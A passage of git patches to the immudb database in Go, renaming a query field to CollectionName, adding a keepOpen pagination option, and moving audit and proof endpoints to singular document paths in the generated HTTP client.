-697,7 +697,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { require.NoError(t, err) res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ - Collection: collectionName, + CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ @@ -732,7 +732,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { exec(t, "INSERT INTO table1(name, amount) VALUES('Fin', 0)") res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ - Collection: collectionName, + CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 2e75f42665..ad1e52f063 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -141,7 +141,7 @@ func TestPaginationOnReader(t *testing.T) { for i := 1.0; i <= 20; i++ { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ - Collection: collectionName, + CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ @@ -159,7 +159,7 @@ func TestPaginationOnReader(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "foobar", Query: &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -193,7 +193,7 @@ func TestPaginationOnReader(t *testing.T) { var searchID string query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -249,7 +249,7 @@ func TestPaginationOnReader(t *testing.T) { var searchID string query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -330,7 +330,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { for i := 1.0; i <= 20; i++ { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ - Collection: collectionName, + CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ @@ -356,7 +356,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { for i := 1; i <= 4; i++ { resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ Query: &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -431,7 +431,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { for i := 1.0; i <= 10; i++ { _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ - Collection: collectionName, + CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ @@ -451,7 +451,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { var searchID string query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -507,7 +507,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { t.Run("test reader with single read", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js index 7a5fb1ad78..7af3034200 100644 --- a/swagger/swaggeroverrides.js +++ b/swagger/swaggeroverrides.js @@ -4,8 +4,8 @@ window.onload = function() { // the following lines will be replaced by docker/configurator, when it runs in a docker-container window.ui = SwaggerUIBundle({ urls: [ - {"url": "/api/docs/apidocs.swagger.json", "name": "Authorization and Document API"}, - {"url": "/api/docs/schema.swagger.json", "name": "KV and SQL API"} + {"url": "/api/docs/apidocs.swagger.json", "name": "immudb REST API v2: Authorization and Document API"}, + {"url": "/api/docs/schema.swagger.json", "name": "immudb REST API v1: KV and SQL API"} ], dom_id: '#swagger-ui', deepLinking: true, From 46149012d9a727413e39ded4222a8ea97071051f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 15 May 2023 16:21:00 -0300 Subject: [PATCH 0550/1062] feat(pkg/api): keepOpen parameter to instruct server to maintain a document reader in memory Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index b635cabe72..a8a603db81 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -233,10 +233,7 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search return nil, err } - // update the pagination parameters for this query in the session - sess.UpdatePaginatedDocumentReader(req.SearchId, req.Page, req.PageSize) - - if errors.Is(err, document.ErrNoMoreDocuments) { + if errors.Is(err, document.ErrNoMoreDocuments) || !req.KeepOpen { // end of data reached, remove the paginated reader and pagination parameters from the session err = sess.DeletePaginatedDocumentReader(req.SearchId) if err != nil { @@ -248,6 +245,9 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search }, nil } + // update the pagination parameters for this query in the session + sess.UpdatePaginatedDocumentReader(req.SearchId, req.Page, req.PageSize) + return &protomodel.SearchDocumentsResponse{ SearchId: req.SearchId, Revisions: docs, From c382e2d0d8b37b5a0cb1d56a1722391502d83cbe Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 15 May 2023 16:36:09 -0300 Subject: [PATCH 0551/1062] chore(pkg/api): singular document path for audit and proof endpoints Signed-off-by: Jeronimo Irazabal --- pkg/api/httpclient/client.go | 368 +++++++++++++------------- pkg/api/openapi/apidocs.swagger.json | 40 +-- pkg/api/proto/documents.proto | 4 +- pkg/api/protomodel/documents.pb.go | 58 ++-- pkg/api/protomodel/documents.pb.gw.go | 4 +- 5 files changed, 237 insertions(+), 237 deletions(-) diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index a70c93c379..b99de06d47 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -493,6 +493,12 @@ type OpenSessionJSONRequestBody = ImmudbmodelOpenSessionRequest // SearchDocumentsWithJSONRequestBody defines body for SearchDocumentsWith for application/json ContentType. type SearchDocumentsWithJSONRequestBody = ModelSearchDocumentsRequestWith +// AuditDocumentJSONRequestBody defines body for AuditDocument for application/json ContentType. +type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest + +// ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. +type ProofDocumentJSONRequestBody = ModelProofDocumentRequest + // InsertDocumentsJSONRequestBody defines body for InsertDocuments for application/json ContentType. type InsertDocumentsJSONRequestBody = ModelInsertDocumentsRequest @@ -505,12 +511,6 @@ type ReplaceDocumentsJSONRequestBody = ModelReplaceDocumentsRequest // SearchDocumentsJSONRequestBody defines body for SearchDocuments for application/json ContentType. type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest -// AuditDocumentJSONRequestBody defines body for AuditDocument for application/json ContentType. -type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest - -// ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. -type ProofDocumentJSONRequestBody = ModelProofDocumentRequest - // CreateIndexJSONRequestBody defines body for CreateIndex for application/json ContentType. type CreateIndexJSONRequestBody = ModelCreateIndexRequest @@ -613,6 +613,16 @@ type ClientInterface interface { SearchDocumentsWith(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // AuditDocument request with any body + AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // ProofDocument request with any body + ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // InsertDocuments request with any body InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -633,16 +643,6 @@ type ClientInterface interface { SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // AuditDocument request with any body - AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // ProofDocument request with any body - ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DeleteIndex request DeleteIndex(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*http.Response, error) @@ -767,8 +767,8 @@ func (c *Client) SearchDocumentsWith(ctx context.Context, searchId string, body return c.Client.Do(req) } -func (c *Client) InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewInsertDocumentsRequestWithBody(c.Server, collectionName, contentType, body) +func (c *Client) AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuditDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) if err != nil { return nil, err } @@ -779,8 +779,8 @@ func (c *Client) InsertDocumentsWithBody(ctx context.Context, collectionName str return c.Client.Do(req) } -func (c *Client) InsertDocuments(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewInsertDocumentsRequest(c.Server, collectionName, body) +func (c *Client) AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuditDocumentRequest(c.Server, collectionName, documentId, body) if err != nil { return nil, err } @@ -791,8 +791,8 @@ func (c *Client) InsertDocuments(ctx context.Context, collectionName string, bod return c.Client.Do(req) } -func (c *Client) DeleteDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteDocumentsRequestWithBody(c.Server, collectionName, contentType, body) +func (c *Client) ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProofDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) if err != nil { return nil, err } @@ -803,8 +803,8 @@ func (c *Client) DeleteDocumentsWithBody(ctx context.Context, collectionName str return c.Client.Do(req) } -func (c *Client) DeleteDocuments(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteDocumentsRequest(c.Server, collectionName, body) +func (c *Client) ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProofDocumentRequest(c.Server, collectionName, documentId, body) if err != nil { return nil, err } @@ -815,8 +815,8 @@ func (c *Client) DeleteDocuments(ctx context.Context, collectionName string, bod return c.Client.Do(req) } -func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentsRequestWithBody(c.Server, collectionName, contentType, body) +func (c *Client) InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewInsertDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -827,8 +827,8 @@ func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, collectionName st return c.Client.Do(req) } -func (c *Client) ReplaceDocuments(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentsRequest(c.Server, collectionName, body) +func (c *Client) InsertDocuments(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewInsertDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -839,8 +839,8 @@ func (c *Client) ReplaceDocuments(ctx context.Context, collectionName string, bo return c.Client.Do(req) } -func (c *Client) SearchDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequestWithBody(c.Server, collectionName, contentType, body) +func (c *Client) DeleteDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -851,8 +851,8 @@ func (c *Client) SearchDocumentsWithBody(ctx context.Context, collectionName str return c.Client.Do(req) } -func (c *Client) SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequest(c.Server, collectionName, body) +func (c *Client) DeleteDocuments(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -863,8 +863,8 @@ func (c *Client) SearchDocuments(ctx context.Context, collectionName string, bod return c.Client.Do(req) } -func (c *Client) AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuditDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) +func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -875,8 +875,8 @@ func (c *Client) AuditDocumentWithBody(ctx context.Context, collectionName strin return c.Client.Do(req) } -func (c *Client) AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuditDocumentRequest(c.Server, collectionName, documentId, body) +func (c *Client) ReplaceDocuments(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -887,8 +887,8 @@ func (c *Client) AuditDocument(ctx context.Context, collectionName string, docum return c.Client.Do(req) } -func (c *Client) ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProofDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) +func (c *Client) SearchDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -899,8 +899,8 @@ func (c *Client) ProofDocumentWithBody(ctx context.Context, collectionName strin return c.Client.Do(req) } -func (c *Client) ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProofDocumentRequest(c.Server, collectionName, documentId, body) +func (c *Client) SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -1198,19 +1198,19 @@ func NewSearchDocumentsWithRequestWithBody(server string, searchId string, conte return req, nil } -// NewInsertDocumentsRequest calls the generic InsertDocuments builder with application/json body -func NewInsertDocumentsRequest(server string, collectionName string, body InsertDocumentsJSONRequestBody) (*http.Request, error) { +// NewAuditDocumentRequest calls the generic AuditDocument builder with application/json body +func NewAuditDocumentRequest(server string, collectionName string, documentId string, body AuditDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewInsertDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) + return NewAuditDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) } -// NewInsertDocumentsRequestWithBody generates requests for InsertDocuments with any type of body -func NewInsertDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { +// NewAuditDocumentRequestWithBody generates requests for AuditDocument with any type of body +func NewAuditDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1220,12 +1220,19 @@ func NewInsertDocumentsRequestWithBody(server string, collectionName string, con return nil, err } + var pathParam1 string + + pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collection/%s/documents", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/document/%s/audit", pathParam0, pathParam1) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1235,7 +1242,7 @@ func NewInsertDocumentsRequestWithBody(server string, collectionName string, con return nil, err } - req, err := http.NewRequest("PUT", queryURL.String(), body) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } @@ -1245,19 +1252,19 @@ func NewInsertDocumentsRequestWithBody(server string, collectionName string, con return req, nil } -// NewDeleteDocumentsRequest calls the generic DeleteDocuments builder with application/json body -func NewDeleteDocumentsRequest(server string, collectionName string, body DeleteDocumentsJSONRequestBody) (*http.Request, error) { +// NewProofDocumentRequest calls the generic ProofDocument builder with application/json body +func NewProofDocumentRequest(server string, collectionName string, documentId string, body ProofDocumentJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewDeleteDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) + return NewProofDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) } -// NewDeleteDocumentsRequestWithBody generates requests for DeleteDocuments with any type of body -func NewDeleteDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { +// NewProofDocumentRequestWithBody generates requests for ProofDocument with any type of body +func NewProofDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1267,12 +1274,19 @@ func NewDeleteDocumentsRequestWithBody(server string, collectionName string, con return nil, err } + var pathParam1 string + + pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collection/%s/documents/delete", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/document/%s/proof", pathParam0, pathParam1) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1292,19 +1306,19 @@ func NewDeleteDocumentsRequestWithBody(server string, collectionName string, con return req, nil } -// NewReplaceDocumentsRequest calls the generic ReplaceDocuments builder with application/json body -func NewReplaceDocumentsRequest(server string, collectionName string, body ReplaceDocumentsJSONRequestBody) (*http.Request, error) { +// NewInsertDocumentsRequest calls the generic InsertDocuments builder with application/json body +func NewInsertDocumentsRequest(server string, collectionName string, body InsertDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewReplaceDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) + return NewInsertDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewReplaceDocumentsRequestWithBody generates requests for ReplaceDocuments with any type of body -func NewReplaceDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { +// NewInsertDocumentsRequestWithBody generates requests for InsertDocuments with any type of body +func NewInsertDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1319,7 +1333,7 @@ func NewReplaceDocumentsRequestWithBody(server string, collectionName string, co return nil, err } - operationPath := fmt.Sprintf("/collection/%s/documents/replace", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/documents", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1339,19 +1353,19 @@ func NewReplaceDocumentsRequestWithBody(server string, collectionName string, co return req, nil } -// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body -func NewSearchDocumentsRequest(server string, collectionName string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { +// NewDeleteDocumentsRequest calls the generic DeleteDocuments builder with application/json body +func NewDeleteDocumentsRequest(server string, collectionName string, body DeleteDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewSearchDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) + return NewDeleteDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body -func NewSearchDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { +// NewDeleteDocumentsRequestWithBody generates requests for DeleteDocuments with any type of body +func NewDeleteDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1366,7 +1380,7 @@ func NewSearchDocumentsRequestWithBody(server string, collectionName string, con return nil, err } - operationPath := fmt.Sprintf("/collection/%s/documents/search", pathParam0) + operationPath := fmt.Sprintf("/collection/%s/documents/delete", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1386,19 +1400,19 @@ func NewSearchDocumentsRequestWithBody(server string, collectionName string, con return req, nil } -// NewAuditDocumentRequest calls the generic AuditDocument builder with application/json body -func NewAuditDocumentRequest(server string, collectionName string, documentId string, body AuditDocumentJSONRequestBody) (*http.Request, error) { +// NewReplaceDocumentsRequest calls the generic ReplaceDocuments builder with application/json body +func NewReplaceDocumentsRequest(server string, collectionName string, body ReplaceDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewAuditDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) + return NewReplaceDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewAuditDocumentRequestWithBody generates requests for AuditDocument with any type of body -func NewAuditDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { +// NewReplaceDocumentsRequestWithBody generates requests for ReplaceDocuments with any type of body +func NewReplaceDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1408,19 +1422,12 @@ func NewAuditDocumentRequestWithBody(server string, collectionName string, docum return nil, err } - var pathParam1 string - - pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) - if err != nil { - return nil, err - } - serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collection/%s/documents/%s/audit", pathParam0, pathParam1) + operationPath := fmt.Sprintf("/collection/%s/documents/replace", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1430,7 +1437,7 @@ func NewAuditDocumentRequestWithBody(server string, collectionName string, docum return nil, err } - req, err := http.NewRequest("POST", queryURL.String(), body) + req, err := http.NewRequest("PUT", queryURL.String(), body) if err != nil { return nil, err } @@ -1440,19 +1447,19 @@ func NewAuditDocumentRequestWithBody(server string, collectionName string, docum return req, nil } -// NewProofDocumentRequest calls the generic ProofDocument builder with application/json body -func NewProofDocumentRequest(server string, collectionName string, documentId string, body ProofDocumentJSONRequestBody) (*http.Request, error) { +// NewSearchDocumentsRequest calls the generic SearchDocuments builder with application/json body +func NewSearchDocumentsRequest(server string, collectionName string, body SearchDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewProofDocumentRequestWithBody(server, collectionName, documentId, "application/json", bodyReader) + return NewSearchDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewProofDocumentRequestWithBody generates requests for ProofDocument with any type of body -func NewProofDocumentRequestWithBody(server string, collectionName string, documentId string, contentType string, body io.Reader) (*http.Request, error) { +// NewSearchDocumentsRequestWithBody generates requests for SearchDocuments with any type of body +func NewSearchDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error var pathParam0 string @@ -1462,19 +1469,12 @@ func NewProofDocumentRequestWithBody(server string, collectionName string, docum return nil, err } - var pathParam1 string - - pathParam1, err = runtime.StyleParamWithLocation("simple", false, "documentId", runtime.ParamLocationPath, documentId) - if err != nil { - return nil, err - } - serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collection/%s/documents/%s/proof", pathParam0, pathParam1) + operationPath := fmt.Sprintf("/collection/%s/documents/search", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1840,6 +1840,16 @@ type ClientWithResponsesInterface interface { SearchDocumentsWithWithResponse(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsWithResponse, error) + // AuditDocument request with any body + AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) + + AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) + + // ProofDocument request with any body + ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) + + ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) + // InsertDocuments request with any body InsertDocumentsWithBodyWithResponse(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*InsertDocumentsResponse, error) @@ -1860,16 +1870,6 @@ type ClientWithResponsesInterface interface { SearchDocumentsWithResponse(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*SearchDocumentsResponse, error) - // AuditDocument request with any body - AuditDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - - AuditDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*AuditDocumentResponse, error) - - // ProofDocument request with any body - ProofDocumentWithBodyWithResponse(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - - ProofDocumentWithResponse(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*ProofDocumentResponse, error) - // DeleteIndex request DeleteIndexWithResponse(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*DeleteIndexResponse, error) @@ -1990,15 +1990,15 @@ func (r SearchDocumentsWithResponse) StatusCode() int { return 0 } -type InsertDocumentsResponse struct { +type AuditDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelInsertDocumentsResponse + JSON200 *ModelAuditDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r InsertDocumentsResponse) Status() string { +func (r AuditDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2006,22 +2006,22 @@ func (r InsertDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r InsertDocumentsResponse) StatusCode() int { +func (r AuditDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type DeleteDocumentsResponse struct { +type ProofDocumentResponse struct { Body []byte HTTPResponse *http.Response - JSON200 *ModelDeleteDocumentsResponse + JSON200 *ModelProofDocumentResponse JSONDefault *RuntimeError } // Status returns HTTPResponse.Status -func (r DeleteDocumentsResponse) Status() string { +func (r ProofDocumentResponse) Status() string { if r.HTTPResponse != nil { return r.HTTPResponse.Status } @@ -2029,22 +2029,22 @@ func (r DeleteDocumentsResponse) Status() string { } // StatusCode returns HTTPResponse.StatusCode -func (r DeleteDocumentsResponse) StatusCode() int { +func (r ProofDocumentResponse) StatusCode() int { if r.HTTPResponse != nil { return r.HTTPResponse.StatusCode } return 0 } -type ReplaceDocumentsResponse struct { +type InsertDocumentsResponse struct { 